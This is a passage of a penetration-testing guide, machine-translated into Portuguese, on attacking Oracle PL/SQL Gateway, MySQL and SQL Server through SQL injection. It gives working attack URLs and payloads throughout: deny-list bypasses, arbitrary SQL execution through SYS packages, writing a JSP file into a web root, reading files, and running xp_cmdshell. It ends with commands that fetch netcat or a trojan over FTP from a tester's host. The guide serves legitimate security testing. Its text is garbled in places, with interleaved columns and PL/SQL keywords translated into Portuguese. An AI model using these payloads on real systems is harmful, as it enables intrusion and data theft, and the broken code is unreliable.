by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle Servidor HTTP Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c Oracle HTTP Server Powered by Apache/1.3.22
(Unix) mod_plsql/3.0.9.8.3b Oracle HTTP Server Powered by Apache/1.3.22 ( Unix) mod_plsql/9.0.2.0.0 Oracle_Web_Listener/
4.0.7.1.0EnterpriseEdition Oracle_Web_Listener/4.0.8.2EnterpriseEdition Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1 Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server
O Teste NULO
Em PL/SQL, null é uma expressão perfeitamente aceitável:
SQL> COMEÇAR
NULO;
FIM; /
Procedimento PL/SQL concluído com sucesso.

249
Podemos usar isso para testar se o servidor está executando o Gateway PL/SQL. Simplesmente pegue o DAD e acrescente NULL acrescente , então
NOSUCHPROC :
http://www.example.com/pls/dad/null
http://www.example.com/pls/dad/nosuchproc
Se o servidor responder com uma resposta 200 OK para o primeiro e um 404 Not Found para o segundo, isso indica que o servidor está executando o
Gateway PL/SQL.
Acesso de pacote conhecido
Em versões mais antigas do PL/SQL Gateway, é possível acessar diretamente os pacotes que formam o PL/SQL Web Toolkit, como os pacotes OWA e
HTP. Um desses pacotes é o pacote OWA_UTIL , sobre o qual falaremos mais adiante. Este pacote contém um procedimento chamado SIGNATURE e
simplesmente gera em HTML uma assinatura PL/SQL. assim solicitando
http://www.example.com/pls/dad/owa_util.signature
retorna a seguinte saída na página da web
"Esta página foi produzida pelo PL/SQL Web Toolkit na data"
ou
"Esta página foi produzida pelo Cartucho PL/SQL na data"
Se você não obtiver essa resposta, mas uma resposta 403 Forbidden, poderá inferir que o PL/SQL Gateway está em execução.
Esta é a resposta que você deve obter em versões posteriores ou sistemas corrigidos.
Acessando pacotes PL/SQL arbitrários no banco de dados
É possível explorar vulnerabilidades nos pacotes PL/SQL instalados por padrão no servidor de banco de dados. Como você faz isso depende da versão
do PL/SQL Gateway. Nas versões anteriores do Gateway PL/SQL, não havia nada que impedisse um invasor de acessar um pacote PL/SQL arbitrário no
servidor de banco de dados. Mencionamos o pacote OWA_UTIL anteriormente. Isso pode ser usado para executar consultas SQL arbitrárias:
http://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS
Os ataques Cross Site Scripting podem ser iniciados por meio do pacote HTP:
http://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>
Claramente, isso é perigoso, então a Oracle introduziu uma lista de exclusão PLSQL para impedir o acesso direto a tais procedimentos perigosos. Itens
proibidos incluem qualquer solicitação começando com SYS.* , qualquer solicitação começando
No entanto,
com é possível
DBMS_* ignorar
, qualquer
a lista
solicitação
de exclusão.
lista
comdeHTP.*
Além
exclusão
disso,
ou OWA*
não
a .
impede o acesso a pacotes nos esquemas CTXSYS e MDSYS ou outros, portanto é possível explorar falhas nesses pacotes:
http://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL
Isso retornará uma página HTML em branco com uma resposta 200 OK se o servidor de banco de dados ainda estiver vulnerável a essa falha (CVE
2006-0265)
Testando falhas no gateway PL/SQL Ao longo dos anos, o
gateway PL/SQL Oracle sofreu várias falhas, incluindo acesso a páginas administrativas (CVE-2002-0561), estouros de buffer (CVE-2002-0559), diretório
bugs transversais e vulnerabilidades que permitem que invasores ignorem a lista de exclusão e acessem e executem pacotes PL/SQL arbitrários no
servidor de banco de dados.
Ignorando a lista de exclusão PL/SQL

250
É incrível quantas vezes a Oracle tentou corrigir falhas que permitem aos invasores contornar a lista de exclusão. Cada patch que a Oracle
produziu foi vítima de uma nova técnica de bypass. A história desta triste história
Ignorando a lista de exclusão - Método 1

Quando a Oracle introduziu pela primeira vez a lista de exclusão PL/SQL para impedir que invasores acessassem pacotes PL/SQL arbitrários,
ela poderia ser ignorada trivialmente precedendo o nome do esquema/pacote com um caractere de nova linha codificado em hexadecimal ou
espaço ou tabulação:
http://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC http://
www.example.com/pls/dad/%20SYS.PACKAGE.PROC http://
www.example.com/ pls/pai/%09SYS.PACKAGE.PROC
Ignorando a lista de exclusão - Método 2 As versões
posteriores do Gateway permitiam que os invasores ignorassem a lista de exclusão precedendo o nome do esquema/pacote com um rótulo. Em
PL/SQL, um rótulo aponta para uma linha de código que pode ser acessada usando a instrução GOTO e assume o seguinte formato: <<NAME>>
http://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC

Simplesmente colocar o nome do esquema/pacote entre aspas duplas pode permitir que um invasor ignore a lista de exclusão.
Observe que isso não funcionará no Oracle Application Server 10g, pois ele converte a solicitação do usuário em letras minúsculas antes de
enviá-la ao servidor de banco de dados e uma citação literal diferencia maiúsculas de minúsculas - portanto, SYS e sys não são iguais e as
solicitações para o último resultarão em um 404 não encontrado. Em versões anteriores, porém, o seguinte pode ignorar a lista de exclusão:
http://www.example.com/pls/dad/"SYS".PACKAGE.PROC
Ignorando a lista de exclusão - Método 4 Dependendo do
conjunto de caracteres em uso no servidor da Web e no servidor de banco de dados, alguns caracteres são traduzidos. Assim, dependendo dos
conjuntos de caracteres em uso, o caractere ÿ ( 0xFF ) pode ser convertido em um Y no servidor de banco de dados. Outro caractere
frequentemente convertido em Y maiúsculo é o caractere Macron - 0xAF . Isso pode permitir que um invasor ignore a lista de exclusão:
http://www.example.com/pls/dad/S%FFS.PACKAGE.PROC http://www.example.com/pls/dad/S%AFS.PACKAGE.PROC

Algumas versões do Gateway PL/SQL permitem que a lista de exclusão seja ignorada com uma barra invertida - 0x5C :
http://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC
Ignorando a lista de exclusão - Método 6 Este é o método
mais complexo de ignorar a lista de exclusão e é o método corrigido mais recentemente. Se fôssemos solicitar o seguinte
http://www.example.com/pls/dad/foo.bar?xyz=123
o servidor de aplicativos executaria o seguinte no servidor de banco de dados:
declarar
número rc__;
start_time__ binary_integer;
simple_list__ owa_util.vc_arr;
complex_list__ owa_util.vc_arr;
251
begin
start_time__ := dbms_utility.get_time;
owa.init_cgi_env(:n__,:nm__,:v__);
htp.HTBUF_LEN := 255; nulo; nulo; simple_list__(1) :=
'sys.%'; lista_simples__(2) := 'dbms\_%';
lista_simples__(3) := 'utl\_%'; simple_list__(4) :=
'owa\_%'; simple_list__(5) := 'owa.%';
simple_list__(6) := 'htp.%'; simple_list__(7) := 'htf.
%'; if ((owa_match.match_pattern('foo.bar',
simple_list__, complex_list__, true))) então
rc__ := 2;
outro
nulo;
orasso.wpg_session.init();
foo.bar(XYZ=>:XYZ); se
(wpg_docload.is_file_download) então
rc__ := 1;
wpg_docload.get_download_file(:doc_info);
orasso.wpg_session.deinit(); nulo; nulo; comprometer-
se;
outro
rc__ := 0;
orasso.wpg_session.deinit(); nulo;
nulo; comprometer-se;
owa.get_page(:data__,:ndata__); fim
se; fim se;
:rc__ :=
rc__; :db_proc_time__ := dbms_utility.get_time—start_time__; fim;
Observe as linhas 19 e 24. Na linha 19, a solicitação do usuário é verificada em uma lista de strings conhecidas como "inválidas", ou seja, a
lista de exclusão. Se o pacote solicitado e o procedimento não contiverem strings inválidas, o procedimento será executado na linha 24. O
parâmetro XYZ é passado como uma variável de ligação.
Se então solicitarmos o seguinte:
http://server.example.com/pls/dad/INJECT'POINT
o seguinte PL/SQL é executado:
..
simple_list__(7) := 'htf.%'; if
((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true))) então
rc__ := 2;
outro
nulo;
orasso.wpg_session.init(); ponto
de injeção;
..
Isso gera um erro no log de erros: “PLS-00103: Encontrou o símbolo 'POINT' ao esperar um dos seguintes. . .” O que temos aqui é uma
maneira de injetar SQL arbitrário. Isso pode ser explorado para ignorar a lista de exclusão.
Primeiro, o invasor precisa encontrar um procedimento PL/SQL que não receba parâmetros e não corresponda a nada na lista de exclusão.
Há um bom número de pacotes padrão que atendem a esse critério, por exemplo:
252
JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO
Um invasor deve escolher uma dessas funções que está realmente disponível no sistema de destino (ou seja, retorna um 200 OK quando solicitado).
Como teste, um invasor pode solicitar
http://server.example.com/pls/dad/orasso.home?FOO=BAR
o servidor deve retornar uma resposta 404 Arquivo não encontrado porque o procedimento orasso.home não requer parâmetros e um foi fornecido.
Porém, antes que o 404 seja retornado, o seguinte PL/SQL é executado:
..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then rc__ := 2; outro
nulo;
orasso.wpg_session.init();
orasso.home(FOO=>:FOO);
..
..
Observe a presença de FOO na string de consulta do invasor. Os invasores podem abusar disso para executar SQL arbitrário. Primeiro, eles precisam
fechando os colchetes:
http://server.example.com/pls/dad/orasso.home?);--=BAR
Isso resulta na execução do seguinte PL/SQL:
..
orasso.home();--=>:);--);
..
Observe que tudo após o sinal de menos duplo ( -- ) é tratado como um comentário. Essa solicitação causará um erro interno do servidor porque uma
das variáveis de ligação não é mais usada, portanto, o invasor precisa adicioná-la novamente. Acontece que essa variável de ligação é a chave para
executar PL/SQL arbitrário. No momento, eles podem apenas usar HTP.PRINT para imprimir BAR e adicionar a variável de ligação necessária como:
1:
http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR
Isso deve retornar um 200 com a palavra “BAR” no HTML. O que está acontecendo aqui é que tudo depois do sinal de igual - BAR neste caso - são
os dados inseridos na variável de ligação. Usando a mesma técnica é possível também obter acesso ao owa_util.cellsprint novamente:
http://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS
Para executar SQL arbitrário, incluindo instruções DML e DDL, o invasor insere um execute imediato :1:
http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual
Observe que a saída não será exibida. Isso pode ser aproveitado para explorar quaisquer bugs de injeção PL/SQL pertencentes ao SYS, permitindo
assim que um invasor obtenha controle total do servidor de banco de dados de back-end. Por exemplo, o seguinte URL
Machine
253
aproveita as falhas de injeção SQL em DBMS_EXPORT_EXTENSION
http://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_
LINE(:p1) EXECUTE%20IMMEDIATE%20''CRIAR%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';END;--','SYS',1,'VER',0);END;
Avaliação de aplicativos da Web PL/SQL personalizados

Durante as avaliações de segurança de caixa preta, o código do aplicativo PL/SQL personalizado não está disponível, mas ainda precisa ser
avaliado quanto a vulnerabilidades de segurança.
Cada parâmetro de entrada deve ser testado quanto a falhas de injeção SQL. Estes são fáceis de encontrar e confirmar. Encontrá-los é tão
fácil quanto inserir uma aspa simples no parâmetro e verificar as respostas de erro (que incluem erros 404 Not Found). A confirmação da
presença de injeção SQL pode ser realizada usando o operador de concatenação.
Por exemplo, suponha que haja um aplicativo da web PL/SQL de livraria que permita aos usuários pesquisar livros de um determinado autor:
http://www.example.com/pls/bookstore/books.search?author=DICKENS
Se esta solicitação retornar livros de Charles Dickens, mas
http://www.example.com/pls/bookstore/books.search?author=DICK'ENS
retorna um erro ou um 404 , então pode haver uma falha de injeção de SQL. Isso pode ser confirmado usando a concatenação
operador:
http://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS
Se esta solicitação retornar livros de Charles Dickens, você confirmou a presença da vulnerabilidade de injeção de SQL.
Ferramentas
Orascan (Oracle Web Application VA scanner), NGS SQuirreL (Oracle RDBMS VA Scanner)
Referências
Artigos técnicos
Hackproofing Oracle Application Server (Um Guia para Proteger o Oracle 9)
Injeção Oracle PL/SQL

Machine
254
Testando para MySQL
Resumo
Injeção SQL vulnerabilidades ocorrem sempre que a entrada é usada na construção de uma consulta SQL sem ser adequadamente restringida
ou sanitizada. O uso de SQL dinâmico (a construção de consultas SQL por concatenação de strings) abre as portas para essas vulnerabilidades.
A injeção de SQL permite que um invasor acesse os servidores SQL. Ele permite a execução do código SQL sob os privilégios do usuário usado
para se conectar ao banco de dados.
O servidor MySQL possui algumas particularidades de forma que alguns exploits precisam ser customizados especialmente para esta aplicação.
Esse é o assunto desta seção.
Como testar
Quando uma vulnerabilidade de injeção de SQL é encontrada em um aplicativo apoiado por um banco de dados MySQL, vários ataques podem
ser executados, dependendo da versão do MySQL e dos privilégios do usuário no DBMS.
O MySQL vem com pelo menos quatro versões que são usadas em produção em todo o mundo, 3.23.x 5.0.x . Cada , 4.0.x , 4.1.xe _
versão possui um conjunto de recursos proporcional ao número da versão.
Da versão 4.0: UNIÃO
Da versão 4.1: Subconsultas
A partir da versão 5.0: procedimentos armazenados, funções armazenadas e a exibição denominada INFORMATION_SCHEMA
Da versão 5.0.2: Gatilhos
Deve-se notar que para versões do MySQL anteriores a 4.0.x, somente ataques Booleanos ou baseados em tempo Blind Injection poderiam ser
usados, uma vez que a funcionalidade de subconsulta ou instruções UNION não foram implementadas.
A partir de agora, assumiremos que existe uma vulnerabilidade clássica de injeção de SQL, que pode ser acionada por uma solicitação semelhante
à descrita na seção Teste de injeção de SQL.
http://www.example.com/page.php?id=2
O problema das aspas simples

Antes de tirar proveito dos recursos do MySQL, deve-se levar em consideração como as strings podem ser representadas em uma instrução, pois
muitas vezes os aplicativos da Web escapam das aspas simples.
O escape de citação do MySQL é o seguinte:
'Uma string com \'aspas\''
Ou seja, o MySQL interpreta apóstrofes \' com escape como caracteres e não como metacaracteres.
Então, se a aplicação, para funcionar corretamente, precisa usar strings constantes, dois casos devem ser diferenciados:
1. O aplicativo da Web escapa entre aspas simples ' => \'
=> '
2. O aplicativo da Web não escapa de aspas simples '
No MySQL, existe uma maneira padrão de contornar a necessidade de aspas simples, tendo uma string constante a ser declarada sem a
necessidade de aspas simples.
Suponhamos que queremos saber o valor de um campo chamado senha em um registro, com uma condição como a seguinte:
255
1. senha como 'A%'
2. Os valores ASCII em um hex concatenado: senha LIKE 0x4125
3. A função char(): senha LIKE CHAR(65,37)
Múltiplas consultas mistas Os
conectores da biblioteca MySQL não suportam várias consultas separadas por ; portanto, não há como injetar vários comandos SQL não
homogêneos em uma única vulnerabilidade de injeção SQL, como no Microsoft SQL Server.
Por exemplo, a seguinte injeção resultará em um erro:
1; update tablename set code='código javascript' onde 1 --
Obtenção de informações
Fingerprinting MySQL
Obviamente, a primeira coisa a saber é se existe o MySQL DBMS como um banco de dados de back-end. O servidor MySQL possui um recurso
que é usado para permitir que outro DBMS ignore uma cláusula no dialeto MySQL. Quando um bloco de comentário '/**/' contém um ponto de
exclamação '/*! sql aqui*/' é interpretado pelo MySQL e é considerado como um bloco de comentário normal por outro DBMS, conforme explicado
no manual do MySQL.
Exemplo:
1 /*! e 1=0 */
Se o MySQL estiver presente, a cláusula dentro do bloco de comentário será interpretada.
Versão
Existem três maneiras de obter essas informações:
1. Usando a variável global @@version
2. Usando a função VERSION()
3. Usando impressão digital de comentário com um número de versão /*!40110 e 1=0*/
que significa
if(version >= 4.1.10) adicione

'and 1=0' à consulta.
Estes são equivalentes, pois o resultado é o mesmo.
Na injeção de banda:
1 AND 1=0 UNION SELECT @@versão /*
Injeção inferencial:
1 E @@versão como '4,0%'
A resposta conteria algo nas linhas de:
5.0.22-log
Usuário de
Login Existem dois tipos de usuários dos quais o MySQL Server depende.
256
1. USUÁRIO(): o usuário conectado ao servidor MySQL.
2. CURRENT_USER(): o usuário interno que está executando a consulta.
Existe alguma diferença entre 1 e 2. A principal delas é que um usuário anônimo pode se conectar (se permitido) com qualquer nome, mas o usuário
interno do MySQL é um nome vazio (''). Outra diferença é que um procedimento armazenado ou uma função armazenada são executados como o
usuário criador, se não forem declarados em outro lugar. Isso pode ser conhecido usando CURRENT_USER .
1 AND 1=0 UNION SELECT USER()
1 AND USER() como 'root%'
A resposta conteria algo nas linhas de:
usuário@hostname
Nome do banco de dados em uso
Existe a função nativa DATABASE()
1 AND 1=0 UNION SELECT DATABASE()
1 AND DATABASE() como 'db%'
Resultado esperado, uma string como esta:
nome do banco de dados
INFORMAÇÃO_ESQUEMA
A partir do MySQL 5.0, uma visão chamada INFORMATION_SCHEMA foi criado. Permite obter todas as informações sobre bancos de dados, tabelas e
colunas, bem como procedimentos e funções.
Tabelas_em_INFORMATION_SCHEMA DESCRIÇÃO
ESQUEMAS Todos os bancos de dados que o usuário possui (pelo menos) SELECT_priv
SCHEMA_PRIVILEGES Os privilégios que o usuário tem para cada banco de dados
TABELAS Todas as tabelas que o usuário possui (pelo menos) SELECT_priv
TABLE_PRIVILEGES Os privilégios que o usuário tem para cada tabela
COLUNAS Todas as colunas que o usuário possui (pelo menos) SELECT_priv
COLUMN_PRIVILEGES Os privilégios que o usuário tem para cada coluna
VISUALIZAÇÕES Todas as colunas que o usuário possui (pelo menos) SELECT_priv
ROTINAS Procedimentos e funções (precisa EXECUTE_priv)
GATILHOS Gatilhos (precisa de INSERT_priv)
USER_PRIVILEGES Privilégios que o usuário conectado tem

Machine
257
Todas essas informações podem ser extraídas usando técnicas conhecidas, conforme descrito na seção SQL Injection.
Vetores de ataque
Escreva em um arquivo
Se o usuário conectado tiver privilégios FILE e as aspas simples não tiverem escape, a cláusula into outfile poderá ser usada para exportar os resultados da
consulta em um arquivo.
Selecione * da tabela no arquivo de saída '/tmp/arquivo'
Observação: não há como ignorar aspas simples ao redor de um nome de arquivo. Portanto, se houver alguma limpeza em aspas simples, como escape \' ,
não haverá como usar a cláusula into outfile .
Esse tipo de ataque pode ser usado como uma técnica fora de banda para obter informações sobre os resultados de uma consulta ou para gravar um arquivo
que pode ser executado dentro do diretório do servidor web.
Exemplo:
1 limit 1 into outfile '/var/www/root/test.jsp' CAMPOS INCLUÍDOS POR '//' LINHAS TERMINADAS POR '\n<%jsp co
de aqui%>';
Os resultados são armazenados em um arquivo com privilégios rw-rw-rw de propriedade do usuário e grupo MySQL.
Onde /var/www/root/test.jsp conterá:
//valores dos campos// <%jsp code here%>
Ler de um arquivo
load_file é uma função nativa que pode ler um arquivo quando permitido pelas permissões do sistema de arquivos. Se um usuário conectado tiver privilégios
FILE , ele poderá ser usado para obter o conteúdo dos arquivos. A sanitização de escape de aspas simples pode ser contornada usando técnicas descritas
anteriormente.
load_file('nome do arquivo')
Todo o arquivo estará disponível para exportação usando técnicas padrão.
Ataque de injeção de SQL padrão

Em uma injeção de SQL padrão, você pode exibir os resultados diretamente em uma página como saída normal ou como um erro do MySQL. Ao usar os
ataques SQL Injection já mencionados e os recursos já descritos do MySQL, a injeção direta de SQL pode ser facilmente realizada em um nível de profundidade,
dependendo principalmente da versão do MySQL que o pentester está enfrentando.
Um bom ataque é saber os resultados forçando uma função/procedimento ou o próprio servidor a lançar um erro. Uma lista de erros lançados
pelo MySQL e em funções nativas em particular pode ser encontrada no Manual do MySQL.
Injeção de SQL fora da banda

A injeção fora da banda pode ser realizada usando a cláusula into outfile .
Injeção cega de SQL Para
injeção cega de SQL, há um conjunto de funções úteis fornecidas nativamente pelo servidor MySQL.
Comprimento da corda:
COMPRIMENTO(str)
Extraia uma substring de uma determinada string:

SUBSTRING(string, offset, #chars_returned)
Injeção cega baseada no tempo:

258
BENCHMARK e SLEEP BENCHMARK(#ofcycles,action_to_be_performed) A função benchmark pode ser usada para executar
ataques de temporização quando a injeção cega por valores booleanos não produz nenhum resultado. Ver.
SLEEP() (MySQL > 5.0.x) para uma alternativa no benchmark.
Para uma lista completa, consulte o manual do MySQL
Ferramentas
Francois Larouche: Ferramenta de Injeção de Múltiplos DBMS
SQL Reversing.org - sqlbftools
Bernardo Damele AG: sqlmap, ferramenta de injeção automática de SQL
Muhaimin Dzulfakar: MySqloit, ferramenta de controle de injeção MySql
Referências
Artigos técnicos
Chris Anley: “Protegendo o MySQL”
Estudos de caso
Zeelock: injeção cega em bancos de dados MySQL

259
Teste para SQL Server
Resumo
Nesta seção alguns SQL Injection técnicas que utilizam recursos específicos do Microsoft SQL Server serão discutidas.
As vulnerabilidades de injeção de SQL ocorrem sempre que a entrada é usada na construção de uma consulta SQL sem ser adequadamente restringida ou sanitizada. O
uso de SQL dinâmico (a construção de consultas SQL por concatenação de strings) abre as portas para essas vulnerabilidades. A injeção de SQL permite que um invasor
acesse os servidores SQL e execute o código SQL sob os privilégios do usuário usado para se conectar ao banco de dados.
Conforme explicado na injeção de SQL, um exploit de injeção SQL requer duas coisas: um ponto de entrada e um exploit para entrar. Qualquer parâmetro controlado pelo
usuário processado pelo aplicativo pode estar ocultando uma vulnerabilidade. Isso inclui:
Parâmetros do aplicativo em strings de consulta (por exemplo, solicitações GET)
Parâmetros do aplicativo incluídos como parte do corpo de uma solicitação POST Informações
relacionadas ao navegador (por exemplo, user-agent, referrer)
Informações relacionadas ao host (por exemplo, nome do host, IP)
Informações relacionadas à sessão (por exemplo, ID do usuário, cookies)
O servidor Microsoft SQL possui algumas características exclusivas, portanto, algumas explorações precisam ser personalizadas especialmente para esse aplicativo.
Como testar
Características do SQL Server
Para começar, vamos ver alguns operadores do SQL Server e comandos/procedimentos armazenados que são úteis em um teste de SQL Injection:
operador de comentário: -- (útil para forçar a consulta a ignorar a parte restante da consulta original; isso não será necessário em todos os casos)
separador de consulta: ; (ponto e vírgula)
Procedimentos armazenados úteis incluem:
xp_cmdshell executa qualquer shell de comando no servidor com as mesmas permissões que está executando no momento.
Por padrão, apenas sysadmin tem permissão para usá-lo e no SQL Server 2005 ele está desabilitado por padrão (pode ser habilitado novamente usando
sp_configure)
xp_regread lê um valor arbitrário do Registro (procedimento estendido não documentado)
xp_regwrite grava um valor arbitrário no Registro (procedimento estendido não documentado)
sp_makewebtask Gera um shell de comando do Windows e passa uma string para execução. Qualquer saída é retornada como linhas de texto. Requer
privilégios de administrador de sistema.
xp_sendmail Envia uma mensagem de e-mail, que pode incluir um anexo de conjunto de resultados de consulta, para os destinatários especificados. Este
procedimento armazenado estendido usa SQL Mail para enviar a mensagem.
Vejamos agora alguns exemplos de ataques específicos do SQL Server que utilizam as funções mencionadas. A maioria desses exemplos usará a função exec .
Abaixo, mostramos como executar um comando shell que grava a saída do comando dir c:\inetpub em um arquivo navegável, supondo que o servidor da web e o servidor
de banco de dados residam no mesmo host. A seguinte sintaxe usa xp_cmdshell :
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

260
Como alternativa, podemos usar sp_makewebtask :
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'selecionar * de master.dbo.sysobjects'--
Uma execução bem-sucedida criará um arquivo que pode ser pesquisado pelo pen tester. Lembre-se de que sp_makewebtask está obsoleto e,
mesmo que funcione em todas as versões do SQL Server até 2005, pode ser removido no futuro.
Além disso, as funções internas do SQL Server e as variáveis de ambiente são muito úteis. O seguinte utiliza a função db_name() para disparar um
erro que retornará o nome do banco de dados:
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
Observe o uso de converter:
CONVERT ( data_type [ ( comprimento ) ] , expressão [ , estilo ] )
CONVERT tentará converter o resultado de db_name (uma string) em uma variável inteira, disparando um erro, que, se exibido pelo aplicativo
vulnerável, conterá o nome do banco de dados.
O exemplo a seguir usa a variável de ambiente @@version order para localizar a , combinado com uma injeção de estilo de seleção de união , em
versão do SQL Server.
/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-
06,1,@@version%20--
E aqui está o mesmo ataque, mas usando novamente o truque de conversão:
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
A coleta de informações é útil para explorar vulnerabilidades de software no SQL Server, por meio da exploração de um ataque de injeção SQL ou
acesso direto ao ouvinte SQL.
A seguir, mostramos vários exemplos que exploram vulnerabilidades de injeção SQL por meio de diferentes pontos de entrada.
Exemplo 1: Testando a injeção de SQL em uma solicitação GET O caso mais
simples (e às vezes mais recompensador) seria o de uma página de login solicitando um nome de usuário e senha para login do usuário. Você pode
“'
tentar inserir a seguinte string ou '1'='1” (sem aspas duplas):
https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1
Se o aplicativo estiver usando consultas SQL dinâmicas e a string for anexada à consulta de validação de credenciais do usuário, isso poderá resultar
em um login bem-sucedido no aplicativo.
Exemplo 2: Testando SQL Injection em uma solicitação GET

Para saber quantas colunas existem
https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--
Exemplo 3: Testando em uma injeção de SQL de solicitação
POST, conteúdo HTTP POST: email=%27&whichSubmit=submit&submit.x=0&submit.y=0
Um exemplo de postagem completo ( https://vulnerable.web.app/forgotpass.asp ):
POST /forgotpass.asp HTTP/1.1 Host:

vulnerable.web.app [...]
261
Referer: http://vulnerable.web.app/forgotpass.asp Content-Type:

application/x-www-form-urlencoded Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
A mensagem de erro obtida quando um ' (aspas simples) inserido no campo de e-mail é:
Microsoft OLE DB Provider para SQL Server erro '80040e14'

Aspas não fechadas antes da cadeia de caracteres '' '. /forgotpass.asp, linha
15
Exemplo 4: Ainda Outro (Útil) Exemplo GET

Obtendo o código-fonte do aplicativo
uma' ; master.dbo.xp_cmdshell ' copie c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--
Exemplo 5: `xp_cmdshell` personalizado

Todos os livros e documentos que descrevem as práticas recomendadas de segurança para SQL Server recomendam desabilitar xp_cmdshell
no SQL Server 2000 (no SQL Server 2005, ele é desabilitado por padrão). No entanto, se tivermos direitos de administrador do sistema
(nativamente ou forçando a senha do administrador do sistema, veja abaixo), podemos ignorar essa limitação.
No SQL Server 2000:
Se xp_cmdshell foi desativado com sp_dropextendedproc , podemos simplesmente injetar o seguinte código:
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
Se o código anterior não funcionar, significa que o xp_log70.dll foi movido ou excluído. Neste caso, precisamos injetar o seguinte código:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS DECLARE

@result int, @OLEResult int, @RunResult int DECLARE @ShellID int EXECUTE
@OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT IF @ OLEResult <> 0
SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('CreateObject
%0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait IF @OLEResult

<> 0 SELECT @result = @OLEResult IF @OLEResult <> 0 RAISERROR ('Executar %0X', 14,
1 , @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @resultado
Este código, escrito por Antonin Foller (veja os links na parte inferior da página), cria um novo xp_cmdshell usando sp_oacreate , sp_oamethod
e sp_oadestroy (desde que eles também não tenham sido desabilitados, é claro). Antes de usá-lo, precisamos excluir o primeiro xp_cmdshell
que criamos (mesmo que não esteja funcionando), caso contrário, as duas declarações irão colidir.
No SQL Server 2005, xp_cmdshell pode ser ativado injetando o seguinte código:
master..sp_configure 'mostrar opções avançadas ',1

reconfigurar master..sp_configure 'xp_cmdshell',1 reconfigurar
262
Exemplo 6: Referer / User-Agent

O cabeçalho REFERER definido como:
Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [CÓDIGO SQL]--
Permite a execução de código SQL arbitrário. O mesmo acontece com o cabeçalho User-Agent definido como:
User-Agent: user_agent', 'some_ip'); [CÓDIGO SQL]--
Exemplo 7: SQL Server como Port Scanner No SQL

Server, um dos comandos mais úteis (pelo menos para o testador de penetração) é o OPENROWSET, que é usado para executar uma
consulta em outro servidor de banco de dados e recuperar os resultados. O testador de penetração pode usar este comando para
escanear portas de outras máquinas na rede de destino, injetando a seguinte consulta:
selecionar
* a partir de
OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=xywz,p;timeout=5','select 1')--
Esta consulta tentará uma conexão com o endereço xywz na porta p. Se a porta estiver fechada, a seguinte mensagem será
retornou:
SQL Server não existe ou acesso negado
Por outro lado, se a porta estiver aberta, um dos seguintes erros será retornado:
Erro geral de rede. Verifique a documentação da sua rede
O provedor OLE DB 'sqloledb' relatou um erro. O provedor não deu nenhuma informação sobre o erro.
Obviamente, a mensagem de erro nem sempre está disponível. Se for esse o caso, podemos usar o tempo de resposta para entender
o que está acontecendo: com uma porta fechada, o timeout (5 segundos neste exemplo) será consumido, enquanto uma porta aberta
retornará o resultado na hora.
Lembre-se de que OPENROWSET é habilitado por padrão no SQL Server 2000, mas desabilitado no SQL Server 2005.
Exemplo 8: Carregamento de executáveis

Uma vez que podemos usar xp_cmdshell (seja o nativo ou personalizado), podemos facilmente carregar executáveis no servidor de
, mas
banco de dados de destino. Uma escolha muito comum é netcat.exe iniciar
qualquer
conexões
trojanFTP
serácom
útil aqui.
a máquina
Se o alvo
do testador,
puder basta injetar
as seguintes consultas:
exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';-- exec master..xp_cmdshell 'echo USER >>
